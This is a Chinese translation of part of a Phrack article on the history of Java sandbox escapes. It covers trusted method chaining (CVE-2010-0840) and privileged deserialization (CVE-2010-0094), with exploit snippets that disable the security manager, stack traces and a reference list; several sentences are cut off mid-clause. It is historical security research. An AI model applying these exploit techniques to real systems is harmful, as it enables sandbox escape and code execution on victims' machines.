Java沙箱逃逸走过的二十个春秋（六）

mss**** / 2018-10-10 15:34:21 / 浏览数 1693

原文：http://phrack.org/papers/escaping_the_java_sandbox.html

在上一篇文章中，我们为读者详细介绍了实例未初始化漏洞，在本文中，我们将为读者介绍最后两种漏洞，即受信任的方法链攻击和序列化漏洞。

----[4.3 - 受信任的方法链攻击

------[4.3.1 - 背景知识

在Java中，每当进行安全检测时，都会检查整个调用堆栈。其中，调用堆栈中的每一帧都含有一个方法名，并且该方法名称是由相关的类和方法的签名进行标识的。受信任的

------[4.3.2 - 示例 : CVE-2010-0840

这个漏洞是针对Java平台的第一个受信任的方法链攻击样本[32]。它借助于_java.beans.Statement_类的反射特性来执行目标方法。其中，攻击代码会注入一个JList GUI元素（“一个显示对象列表并允许用户选择一个或多个选项的组件”，见参考文献[33]）来强制GUI线程绘制新元素。该漏洞利用代码具体如下所示：

```
--------------------------------------------------------------------------------
    // target method
    Object target = System.class;
    String methodName = "setSecurityManager";
    Object[] args = new Object[] { null };

    Link l = new Link(target, methodName, args);

    final HashSet s = new HashSet();
    s.add(l);

    Map h = new HashMap() {
       public Set entrySet() {
           return s;
       }; };

    sList = new JList(new Object[] { h });
--------------------------------------------------------------------------------
```

通过_Link_对象，目标方法被表示为_Statement_类。需要说明的是，这个_Link_类不是来自JCL，而是由安全分析人员构造的一个类。实际上，_Link_类是_Expression_whi

```
--------------------------------------------------------------------------------
    interface Entry<K,V> {
       [...]
       /**
       * Returns the value corresponding to this entry.  If the mapping
       * has been removed from the backing map (by the iterator's
       * <tt>remove</tt> operation), the results of this call are
       * undefined.
       *
       * @return the value corresponding to this entry
       * @throws IllegalStateException implementations may, but are not
       *         required to, throw this exception if the entry has been
       *         removed from the backing map.
       */
       V getValue();
       [...]
--------------------------------------------------------------------------------
```

如您所见，该接口只是提供了一个getValue()方法。事实上，_Expression_类也有一个具有相同签名的getValue()方法。就是因为这一点，所以，在运行时才能够成功调用_E

```
--------------------------------------------------------------------------------
    // in AbstractMap
    public String toString() {
       Iterator<Entry<K,V>> i = entrySet().iterator();
       if (! i.hasNext())
           return "{}";
```

```
        StringBuilder sb = new StringBuilder();
        sb.append('{');
        for (;;) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            sb.append(key   == this ? "(this Map)" : key);
            sb.append('=');
            sb.append(value == this ? "(this Map)" : value);
            if (! i.hasNext())
                return sb.append('}').toString();
            sb.append(',').append(' ');
        }
    }
--------------------------------------------------------------------------------
```

安全分析人员的目的是，通过调用AbstractMap.toString()方法来调用_Link_对象上的Entry.getValue()，进而调用invoke()方法：

```
--------------------------------------------------------------------------------
    public Object getValue() throws Exception {
        if (value == unbound) {
            setValue(invoke());
        }
        return value;
    }
--------------------------------------------------------------------------------
```

之后，invoke方法通过反射执行安全分析人员的目标方法System.setSecurityManapger（null），从而禁用安全管理器。利用反射特性调用这个方法时，对应的调用堆栈如

```
--------------------------------------------------------------------------------
    at java.beans.Statement.invoke(Statement.java:235)
    at java.beans.Expression.getValue(Expression.java:98)
    at java.util.AbstractMap.toString(AbstractMap.java:487)
    at javax.swing.DefaultListCellRenderer.getListCellRendererComponent
       (DefaultListCellRenderer.java:125)
    at javax.swing.plaf.basic.BasicListUI.updateLayoutState
       (BasicListUI.java:1337)
    at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState
       (BasicListUI.java:1287)
    at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251)
    at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227)
    at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143)
    at javax.swing.JComponent.paintComponent(JComponent.java:758)
    at javax.swing.JComponent.paint(JComponent.java:1022)
    at javax.swing.JComponent.paintChildren(JComponent.java:859)
    at javax.swing.JComponent.paint(JComponent.java:1031)
    at javax.swing.JComponent.paintChildren(JComponent.java:859)
    at javax.swing.JComponent.paint(JComponent.java:1031)
    at javax.swing.JLayeredPane.paint(JLayeredPane.java:564)
    at javax.swing.JComponent.paintChildren(JComponent.java:859)
    at javax.swing.JComponent.paint(JComponent.java:1031)
    at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104)
    at javax.swing.BufferStrategyPaintManager.paint
       (BufferStrategyPaintManager.java:285)
    at javax.swing.RepaintManager.paint(RepaintManager.java:1128)
    at javax.swing.JComponent._paintImmediately(JComponent.java:5052)
    at javax.swing.JComponent.paintImmediately(JComponent.java:4862)
    at javax.swing.RepaintManager.paintDirtyRegions
       (RepaintManager.java:723)
    at javax.swing.RepaintManager.paintDirtyRegions
       (RepaintManager.java:679)
    at javax.swing.RepaintManager.seqPaintDirtyRegions
       (RepaintManager.java:659)
    at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run
       (SystemEventQueueUtilities.java:128)
    at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)
    at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)
    at java.awt.EventDispatchThread.pumpOneEventForFilters
       (EventDispatchThread.java:273)
```

```
    at java.awt.EventDispatchThread.pumpEventsForFilter
       (EventDispatchThread.java:183)
    at java.awt.EventDispatchThread.pumpEventsForHierarchy
       (EventDispatchThread.java:173)
    at java.awt.EventDispatchThread.pumpEvents
       (EventDispatchThread.java:168)
    at java.awt.EventDispatchThread.pumpEvents
       (EventDispatchThread.java:160)
    at java.awt.EventDispatchThread.run(EventDispatchThread.java:121)
-------------------------------------------------------------------------
```

可以看到，这个调用堆栈上并没有不受信任的类。所以，无论进行任何安全检查，调用堆栈的元素都能顺利通过。

如上面的调用堆栈所示，绘制操作（`RepaintManager.java:1128`）最终将调用getListCellRendererComponent()方法（`DefaultListCellRenderer.java:125`）。
调用安全分析人员的目标方法。

------[4.3.3 - 讨论

通过修改Statement.invoke()方法，官方已经修复了该漏洞，具体来说，就是在创建_Statement_的代码的_AccessControlContext_中执行反射调用。需要说明的是，该漏

----[4.4 - 序列化

------[4.4.1 - 背景知识

Java允许运行时将对象转换为字节流，以便于实现持久性和网络通信。将对象转换为字节序列称为序列化，而将字节流转换为对象的相反过程则称为反序列化。有时候，反

------[4.4.2 – 示例: CVE-2010-0094

漏洞CVE-2010-0094 [35]位于方法RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[],
Subject)中。_MarshalledObject_类型的第四个参数包含对象_S_的字节化表示，并且该对象是在特权上下文中进行反序列化的（在具有所有权限的doPrivileged()调用内）

```
-------------------------------------------------------------------------
    public class S extends ClassLoader implements Serializable {
    }
-------------------------------------------------------------------------
```

在易受攻击的JVM版本（例如，1.6.0_17）中，实例化对象_S_时的调用堆栈如下所示：

```
-------------------------------------------------------------------------
 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
 2:    S(ClassLoader).<init>() line: 226 [local variables
          unavailable]
 4:    GeneratedSerializationConstructorAccessor1.newInstance(Object[])
          line: not available
 6:    Constructor<T>.newInstance(Object...) line: 513
 7:    ObjectStreamClass.newInstance() line: 924
 8:    MarshalledObject$MarshalledObjectInputStream
          (ObjectInputStream).readOrdinaryObject(boolean) line: 1737
10:    MarshalledObject$MarshalledObjectInputStream
          (ObjectInputStream).readObject0(boolean) line: 1329
12:    MarshalledObject$MarshalledObjectInputStream
          (ObjectInputStream).readObject() line: 351
14:    MarshalledObject<T>.get() line: 142
15:    RMIConnectionImpl$6.run() line: 1513
16:    AccessController.doPrivileged(PrivilegedExceptionAction<T>)
          line: not available [native method]
18:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
          Class<T>) line: 1505
20:    RMIConnectionImpl.access$500(MarshalledObject, ClassLoader,
          Class) line: 72
22:    RMIConnectionImpl$7.run() line: 1548
23:    AccessController.doPrivileged(PrivilegedExceptionAction<T>)
          line: not available [native method]
25:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
          ClassLoader, Class<T>) line: 1544
27:    RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
          MarshalledObject, String[], Subject) line: 376
29:    Exploit.exploit() line: 79
```

```
30:    Exploit(BypassExploit).run_exploit() line: 24
31:    ExploitBase.run(ExploitBase) line: 20
32:    Exploit.main(String[]) line: 19
------------------------------------------------------------------------
```

我们注意到，反序列化是在特权上下文中（在第16行和第23行的doPrivileged()内）进行的。请注意，它是_ClassLoader_类（<init>()，可信代码）的构造函数，它位于
_ClassLoader_中的权限检查将会成功通过。

但是，后来在系统代码中，_S_的这个实例被强制转换为既非_S_也非_ClassLoader_类型的实例。那么，安全分析人员如何找到这个实例呢？
一种方法是向_S_添加静态字段以及向_S_类添加方法以在静态字段中保存_S_实例的引用：

```
------------------------------------------------------------------------
    public class S extends ClassLoader implements Serializable {
       public static S myCL = null;
       private void readObject(java.io.ObjectInputStream in)
         throws Throwable {
           S.myCL = this;
       }
    }
------------------------------------------------------------------------
```

readObject()方法是在反序列化期间（通过上面调用堆栈中第8行的readOrdinaryObject()）调用的一个特殊方法。调用它的时候，还没有进行权限检查，因此，不受信任的

这个时候，安全分析人员可以访问_S_的实例。由于_S_是_ClassLoader_的子类，因此，分析人员可以定义一个带有全部权限的新类来禁用安全管理器（类似于3.1.1节中的方

这个漏洞影响到14个Java 1.6版本（从版本1.6.0_01到1.6.0_18）。直到版本1.6.0_24发布是，该漏洞才得到修复。

以下"功能"的组合使安全分析人员能够绕过沙箱：（1）可信代码允许对不受信任的代码控制的数据进行反序列化，（2）在特权上下文中进行反序列化，以及（3）通过以下

漏洞CVE-2010-0094已在Java
1.6.0更新24中得到了修复。对doPrivileged()的两次调用已从代码中删除。在修复后的版本中，当初始化_ClassLoader_时，权限检查将会失败，因为现在将检查整个调用堆

```
------------------------------------------------------------------------
 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
 2:    MyClassLoader(ClassLoader).<init>() line: 226 [local variables
           unavailable]
 4:    GeneratedSerializationConstructorAccessor1.newInstance(Object[])
           line: not available
 6:    Constructor<T>.newInstance(Object...) line: 513
 7:    ObjectStreamClass.newInstance() line: 924
 8:    MarshalledObject$MarshalledObjectInputStream
           (ObjectInputStream).readOrdinaryObject(boolean) line: 1736
10:    MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
           .readObject0(boolean) line: 1328
12:    MarshalledObject$MarshalledObjectInputStream(ObjectInputStream)
           .readObject() line: 350
14:    MarshalledObject<T>.get() line: 142
15:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
           Class<T>) line: 1523
17:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
           ClassLoader, Class<T>) line: 1559
19:    RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
           MarshalledObject, String[], Subject) line: 376
21:    Exploit.exploit() line: 79
22:    Exploit(BypassExploit).run_exploit() line: 24
23:    ExploitBase.run(ExploitBase) line: 20
24:    Exploit.main(String[]) line: 19
------------------------------------------------------------------------
```

------[4.4.3 - 讨论

这个漏洞表明，攻击者可以组合利用序列化协议的特性（仅调用特定构造函数）与易受攻击的系统代码，只要这些系统代码在特权上下文中对攻击者控制的数据进行反序列化

--[5 - 结束语

在本文中，我们着重介绍了Java平台的复杂安全模型，该模型已经饱受攻击20来年了。其中，我们不仅为读者展示了该平台包含的本机组件（如Java虚拟机），以及各种Jav

在本文中，我们的内容是围绕案例研究进行组织的，以便于阐明诸如Java平台之类的复杂系统，是如何受到恶意代码的攻击的。希望这篇Java漏洞历史总结能够加深大家对

--[6 - 参考资料

[1] Aleph One. "Smashing The Stack For Fun And Profit." Phrack 49 1996

[2] Oracle. "The History of Java Technology." http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-198355.html, 2018

[3] Drew Dean, Edward W. Felten, Dan S. Wallach. "Java security: From HotJava to Netscape and beyond." In Security & Privacy, IEEE, 1996

[4] Joshua J. Drake. "Exploiting memory corruption vulnerabilities in the java runtime." 2011

[5] Esteban Guillardoy. "Java 0day analysis (CVE-2012-4681)." https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4681.html, 2012

[6] Jeong Wook Oh. "Recent Java exploitation trends and malware." Presentation at Black Hat Las Vegas, 2012

[7] Security Explorations. "Oracle CVE ID Mapping SE - 2012 - 01, Security vulnerabilities in Java SE." 2012

[8] Brian Gorenc, Jasiel Spelman. "Java every-days exploiting software running on 3 billion devices." In Proceedings of BlackHat security conference, 2013

[9] Xiao Lee and Sen Nie. "Exploiting JRE - JRE Vulnerability: Analysis & Hunting." Hitcon, 2013

[10] Matthias Kaiser. "Recent Java Exploitation Techniques." HackPra, 2013

[11] Google, https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html. "The Final Countdown for NPAPI." 2014

[12] Mozilla, https://blog.mozilla.org/futurereleases/2015/10/08/npapi-plugins-in-firefox/. "NPAPI Plugins in Firefox." 2015

[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. "Exploiting CVE-2017-3272." In Multi-System & Internet Security Cookbook (MISC), May 2018

[14] Red Hat. "CVE-2017-3272 OpenJDK: insufficient protected field access checks in atomic field updaters (Libraries, 8165344)." Bugzilla - Bug 1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017

[15] Norman Maurer. "Lesser known concurrent classes - Atomic*FieldUpdater." In http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part-1/

[16] Jeroen Frijters. "Arraycopy HotSpot Vulnerability Fixed in 7u55 (CVE-2014-0456)." In IKVM.NET Weblog, 2014

[17] NIST. "CVE-2016-3587." https://nvd.nist.gov/vuln/detail/CVE-2016-3587

[18] Vincent Lee. "When Java throws you a Lemon, make Limenade: Sandbox escape by type confusion." In https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lemon-make-limenade-sandbox-escape-by-type-confusion

[19] Red Hat. "CVE-2015-4843 OpenJDK: java.nio Buffers integer overflow issues (Libraries, 8130891)." Bugzilla - Bug 1273053 https://bugzilla.redhat.com/show_bug.cgi?id=1273053, 2015

[20] Alexandre Bartel. "Exploiting CVE-2015-4843." In Multi-System & Internet Security Cookbook (MISC), January 2018

[21] Oracle. "The Java Virtual Machine Specification, Java SE 7 Edition: 4.10.2.4. Instance initialization methods and newly created objects." http://docs.oracle.com/javase/specs/jvms/se7/html/

jvms-4.html#jvms-4.10.2.4, 2013

[22] National Vulnerability Database. "Vulnerability summary for cve-2017-3289." https://nvd.nist.gov/vuln/detail/CVE-2017-3289

[23] Redhat. "Bug 1413562 - (cve-2017-3289) cve-2017-3289 openjdk: insecure class construction (hotspot, 8167104)." https://bugzilla.redhat.com/show bug.cgi?id=1413562.

[24] OpenJDK. "Openjdk changeset 8202:02a3d0dcbedd jdk8u121-b08 8167104: Additional class construction refinements." http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd.

[25] Oracle. "The java virtual machine specification, java se 7 edition: 4.7.4. the stackmaptable attribute." http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html#jvms-4.7.4, 2013

[26] "Request for review (s): 7020118." http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/00 1866.html

[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden. "An in-depth study of more than ten years of java exploitation." In Proceedings of the 23rd ACM Conference on Computer and Communications

[28] Eric Bruneton. "ASM, a Java bytecode engineering library." http://download.forge.objectweb.org/asm/asm-guide.pdf

[29] LSD Research Group et al.. "Java and java virtual machine security, vulnerabilities and their exploitation techniques." In Black Hat Briefings, 2002

[30] Drew Dean, Edward W Felten, and Dan S Wallach. "Java security: From hotjava to netscape and beyond." In Proceedings, IEEE Symposium on Security and Privacy, 1996, pages 190-200

[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao, Manuel Valdiviezo, and Andrew Gross. "Translating java into llvm ir to detect security vulnerabilities." In LLVM Developer Meeting, 2014

[32] Sami Koivu. "Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)."

[33] Oracle. "JList." https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html

[34] Oracle. "Interface Serializable." https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html

[35] Sami Koivu, Matthias Kaiser. "CVE-2010-0094." https://github.com/rapid7/metasploit-framework/tree/master/external/source/ exploits/CVE-2010-0094

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板